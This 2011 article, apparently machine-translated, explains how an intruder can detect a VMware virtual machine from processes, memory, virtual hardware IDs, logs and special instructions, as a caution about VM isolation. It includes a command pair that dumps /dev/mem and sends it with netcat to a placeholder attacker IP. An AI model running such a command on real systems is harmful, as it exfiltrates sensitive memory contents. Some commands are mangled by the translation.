13 November 2011

Virtual Machine Detection

Virtualization has expanded strongly over recent years in the design of organizational systems, which is not surprising given the cost savings it offers, ease of scaling and fault tolerance. So much that now they are beginning to say that is better  for the backoffice to be based exclusively on virtualization solutions like those offered by VMware , Xen , VirtualBox or VirtualPC , among others.However, these proposals tend to be based more on excitement from the marketing promises than on technical analysis in the cold.

Medium point is probably the most interesting and safe: continue to use physical machines to critical services and have virtualization support into play when a physical machine fails or as temporary support in case of saturation loading of a phisical farm. Another very interesting field of virtual machines is the test-lab during development work creating machines or cheating or honeypots . In any case, in my humble opinion, combining in one phisical machine virtualized servers from different levels of security is completely inadvisable given the vulnerabilities that are beginning to discover and bring into question the alleged isolation between the host machine and its virtual machines . In the event that such isolation is compromised, an attacker might try to jump from one level to another, avoiding the perimeter defenses or could compromise the machines hosted on the same virtualization platform.

Given these vulnerabilities begin to surface normal techniques to discover if a machine is or not part of a virtualization infrastructure. Discover that an intruder is in a virtual machine can be considered much more profitable to attack the phisical host machine than use the virtual machine as a bridge to the rest of the network. These techniques analyze the target machine in order to detect signs typical of a virtual machine. Such signs may be of different types: 


    • Issues in special processes, file systems and / or registration.
    • Issues in memory.
    • Virtual hardware.
    • Low-level instructions specific to virtual machines.

Throughout this article we will study each of these possible leads by the example of a VMware-based virtual machine, as the most widespread platform and to some extent, typical.

In the case of VMware, the process more easily detectable is VMtools . The VMtools are a pack of VMware's own tools, if installed in a virtual machine, increases graphics performance and establish a communication channel between the host and virtual machine so that you can use shared folders or drag -and-drop files. The problem is that all these features have a price and is posing a risk to the safety of the system to drive a wedge attack against the insulation between the host and the virtual machine. The fact is that the use of VMtools actives a service that is easily detectable in the table of virtual machine processes. Besides, a thorough analysis of the file system of a virtual machine shed more than 50 references to the words "vmware" and "vmx". The same can be said of the register (in the case of Windows) that would be "marked" with over 300 references to the word registration VMware.For all the above, VMtools should be avoided when possible just using them only after a proper risk analysis.

The second case, the memory footprint, is virtually impossible to avoid. If the virtual machine was Linux, an attacker could make a primary memory dump to analyze later in search of the word "vmware". This would not have to do more than the following:
attacker$ nc -l -p 2000 -o memory_dump_genesys 
victim$ sudo dd if=/dev/mem bs=100k | nc ip-atacante 2000
After downloading, dump analysis may be as simple as the following: 
attacker$ grep -ic vmware memory_dump_genesys
360
attacker$ grep -i vmware memory_dump_genesys 
<> 

The problem of this approach is its slownes as an attacker have to transmit the image from memory (several GB) through the network and the load on the attacked machine, which could alert administrators of intrusion.
Another option is to use specialized tools such as Scoopy or RedPill , which can detect memory allocation patterns typical of virtualized machines.

As for the virtual hardware, the easiest case to detect the network card as it is unusual for the first 6 characters of the MAC point to the card manufacturer.On the Internet there are many search engines that allow to identify the ethernet card manufacturer based on its MAC. In the case of VMware virtual ethernet interfaces are marked with a MAC which is of type: 00:0 C: 29: xx: xx: xx.
Another case is that of hard disks becuse VMware enables virtualization of SCSI hard drives. A simple search on the boot logs alerts you that we have a virtual machine:

@ dante dante-desktop: ~ $ cat / var / log / messages | grep scsi
Mar 19 21:17:57 dante-desktop kernel: [83993.729650] scsi0: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83993.729955] scsi1: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83994.585470] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.585847] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.631853] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.634815] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.648546] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.648772] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.931779] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 17
Mar 19 21:17:57 dante-desktop kernel: [83995.050997] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 19 21:17:57 dante-desktop kernel: [83995.063046] scsi 2:0:0:0: Attached scsi generic sg2 type 0
Mar 22 20:11:50 dante-desktop kernel: [88289.831746] scsi0: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88289.835558] scsi1: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88291.093663] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.101227] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.380171] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 16
Mar 22 20:11:50 dante-desktop kernel: [88291.504844] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 22 20:11:50 dante-desktop kernel: [88296.060604] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.076810] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.159975] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160101] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160215] scsi 2:0:0:0: Attached scsi generic sg2 type 0

As if this were not clear enough, a simple call to command sdparm to confirm this point:

@ dante dante-desktop: ~ $ sudo sdparm-a / dev/sda1
/ Dev/sda1: VMware, VMware Virtual S 1.0 

In the end, we have proved that virtualization with VMware is not "anonymous". But there is still one lastl fireworks in that virtual hardware identification is concerned, it made hardware drivers identify the result is quite illuminating:

@ dante dante-desktop: ~ $ lspci-v
00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 01)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 01) (prog-if 00 [Normal decode])
Flags: bus master, 66MHz, medium devsel, latency 0
Bus: primary = 00, secondary = 01, subordinate = 01, sec-latency = 64

00:07.0 ISA bridge: Intel Corporation PIIX4 ISA 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if the 8th [Master CCA Prip])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64
[Virtual] Memory at 000001f0 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 000003f0 (type 3, non-prefetchable) [disabled] [size = 1]
[Virtual] Memory at 00000170 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 00000370 (type 3, non-prefetchable) [disabled] [size = 1]
I / O ports at 1050 [size = 16]

00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (prog-if 00 [UHCI])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64, IRQ 18
I / O ports at 1060 [size = 32]

00:07.3 Bridge: Intel Corporation PIIX4 ACPI 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: medium devsel, IRQ 9

00:0 f.0 VGA compatible controller: VMware Inc [VMware SVGA II] PCI Display Adapter (prog-if 00 [VGA])
Subsystem: VMware Inc [VMware SVGA II] PCI Display Adapter
Flags: bus master, medium devsel, latency 64
I / O ports at 1440 [size = 16]
Memory at F0000000 (32-bit, non-prefetchable) [size = 128M]
Memory at e8000000 (32-bit, non-prefetchable) [size = 8M]
[Virtual] Expansion ROM at 20010000 [disabled] [size = 32K]

00:10.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 01)
Flags: bus master, medium devsel, latency 64, IRQ 16
I / O ports at 1080 [size = 128]
Memory at e8810000 (32-bit, non-prefetchable) [size = 4K]
[Virtual] Expansion ROM at 20018000 [disabled] [size = 16K]

00:11.0 Ethernet controller: Intel Corporation Gigabit Ethernet Controller 82545EM (Copper) (rev 01)
Subsystem: VMware Inc Unknown device 0750
Flags: bus master, 66MHz, medium devsel, latency 0, IRQ 17
Memory at e8820000 (64-bit, non-prefetchable) [size = 128K]
Memory at e8800000 (64-bit, non-prefetchable) [size = 64K]
I / O ports at 1450 [size = 8]
[Virtual] Expansion ROM at 20000000 [disabled] [size = 64K]
Capabilities: 

00:12.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02)
Subsystem: Ensoniq Creative Sound Blaster AudioPCI64V, AudioPCI128
Flags: bus master? devsel, latency 64, IRQ 18
I / O ports at 1400 [size = 64] 

Scoopy's creator, Tobias Klein, also developed a tool, called Doo , able to detect virtual machines based on analysis similar to the ones in this article.

Finally, we have to mention the low-level instructions specific to virtual machines.Virtualization solutions introduce these instructions in order to facilitate communication between the VM and host. Tools like VMDetect use these instructions to detect when a machine is actually virtualized. What they do is to call these instructions, if there is an exception we have a physical machine, if instead the instruction is then executed at a machine we before a virtual one.

All these detection vectors should warn against the alleged infallibility of virtualization they try to sell through commercial channels. It is true that virtualization can bring significant benefits to organizations, but only if it is deployed properly and prudently or, otherwise, may lead, as with all human works, to disaster.